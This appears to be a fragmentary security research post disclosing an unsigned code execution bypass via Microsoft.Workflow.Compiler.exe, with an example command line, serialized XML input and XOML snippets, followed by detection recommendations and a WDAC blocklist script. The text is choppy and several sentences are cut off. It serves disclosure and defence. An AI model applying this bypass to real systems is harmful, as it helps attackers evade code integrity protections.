Arbitrary, Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe

The root of the execution vector is that Microsoft.Workflow.Compiler.exe calls Assembly.Load(byte[]) (which is not code integrity aware) on an attacker-supplied .NET assembly. Loading an assembly will not achieve code execution by itself, though. When C# (or VB.Net) code is supplied via a XOML file, a code path is reached where a class constructor is called for the loaded assembly. The only constraint is that to achieve code execution, the class constructor must be derived from the System.Workflow.ComponentModel.Activity class.

This technique bypasses code integrity enforcement in Windows Defender

2. Drop an XML file to disk that contains a serialized CompilerInput object. This XML document is where the path to the XOML file is stored.
3. Execute Microsoft.Workflow.Compiler.exe supplying the XML path.

Here is an example invocation of Microsoft.Workflow.Compiler.exe:

```
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml
```

```
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence
xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
```

```
xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs
xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
```

test.xoml contents:

Occasionally, I like to scan the OS for new or existing binaries that reference insecure .NET methods like Assembly.Load(byte[]). I wrote some crude tooling to do this a while back and one of the executables it returned was System.Workflow.ComponentModel.dll. I had seen that DLL pop up in previous searches but I disregarded it because I was honestly too lazy to figure out what EXE referenced the assembly.

So the first step was to determine what code called Assembly.Load(byte[]). This was easy enough to spot in dnSpy in the System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Co

Call to .NET compilation methods that ultimately call Assembly.Load(byte[])

Now, loading an assembly isn't enough to coax arbitrary code execution out of it. Something meaningful has to be done with the loaded assembly. Fortunately, the System.Workflow.ComponentModel.Compiler.XomlCompilerHelper.InternalCompileFromDomBatch method iterates though each type in the loaded assembly and instantiates an instance of any

. . .

When Microsoft.Workflow.Compiler.exe first starts, it passes the first argument to the ReadCompilerInput method which takes the file path and deserializes it back into a CompilerInput object:

```
private static CompilerInput ReadCompilerInput(string path)
{
    CompilerInput result = null;
```

found this article where despite what the uninformed respondent says, you can indeed embed code within a XOML file. After playing around with the file, I eventually got Microsoft.Workflow.Compiler.exe to invoke my "malicious" constructor.

That's all there was to it. I tested it on Windows 10S and I got arbitrary unsigned code execution. To date, I still have no clue what the exact purpose of Microsoft.Workflow.Compiler.exe is nor why anyone would ever consider writing XOML. Not really my concern though. If I had to speculate based on the utter lack of public documentation on the utility is that it is likely used

usage of Microsoft.Workflow.Compiler.exe should be expected to be a low-volume event.

I have confirmed that Microsoft.Workflow.Compiler.exe executes normally when it is copied to another directory and renamed.

> *Microsoft.Workflow.Compiler.exe calls assembly compilation methods under the hood.*

Like Add-Type in PowerShell and msbuild, internal .NET compilation

A byproduct of using the assembly compilation methods is that technically, the C#/VB.Net code will be compiled and a temporary DLL will be generated and quickly deleted. Any endpoint security product that had the ability to inspect those temp DLLs would put you at an advantage.

> *Microsoft.Workflow.Compiler.exe arguments can have any file extension.*

If you decide to build a detection based on command-line strings, be aware there is no requirement that either of the required parameters have a file extension of .xml. An attacker could easily name them using any file

```
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.
Compiler">
  <files
xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arr
ays">
    <d2p1:string>blah.foo</d2p1:string>
  </files>
  <parameters
xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflo
w.ComponentModel.Compiler">
    <assemblyNames
xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arr
ays"
```

```
    <mainClass i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
    <outputName
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
    <tempFiles i:nil="true"
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
    <treatWarningsAsErrors
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
    <warningLevel
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
    <win32Resource i:nil="true"
```

```
            Console.WriteLine("FOOO!!!!");
        }
    }
```

. . .

Detection Engineering Recommendations

The following detection recommendations will result in a robust, low-volume, high-signal detection for suspicious usage of

Disclaimer: these detection recommendations are only applicable to the bypass technique in the forms described in this post. Examples where detections *could* be subverted would include:

- Someone getting code execution by exploiting a deserialization bug in either the CompilerInput or WorkflowCompilerParameters classes. Successfully getting this to work would only affect recommendations #2 and #3, however.

If you'd like to test detections against the variants/evasions described in this

To generate a blacklist rule for your WDAC policy, you would run the following commands:

```
# Have I mentioned how much I hate Get-SystemDriver? I always have
to resort to hacks to extract the info I want
$Signatures = Get-SystemDriver -ScanPath
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ -UserPEs -
NoShadowCopy
# Extract the signautre info for just
Microsoft.Workflow.Compiler.exe
$SignatureInfo = $Signatures.GetEnumerator() | Where-Object {
$_.UserMode -and ($_.FileName -eq
```

Disclosure Timeline

As committed as SpecterOps is to transparency, we acknowledge the speed at which attackers adopt new offensive techniques once they are made public. This is why prior to publicization of a new offensive technique, we regularly inform the respective vendor of the issue, supply ample time to mitigate the issue, and notify select, trusted vendors in order to ensure that detections can be delivered to their customers as quickly as possible.

A Plea to Microsoft

Please incorporate .NET security optics into the framework to supply defenders with important attack context!!! PowerShell security investments followed attacker trends so .NET should be no exception. Considering the current lack of optics, SpecterOps researchers will continue to build automation around hunting for potentially abusable host applications which would include primitives like calls to Assembly.Load(byte[]) overloads/variants as well as deserialization primitives like BinaryFormatter

Threat Researcher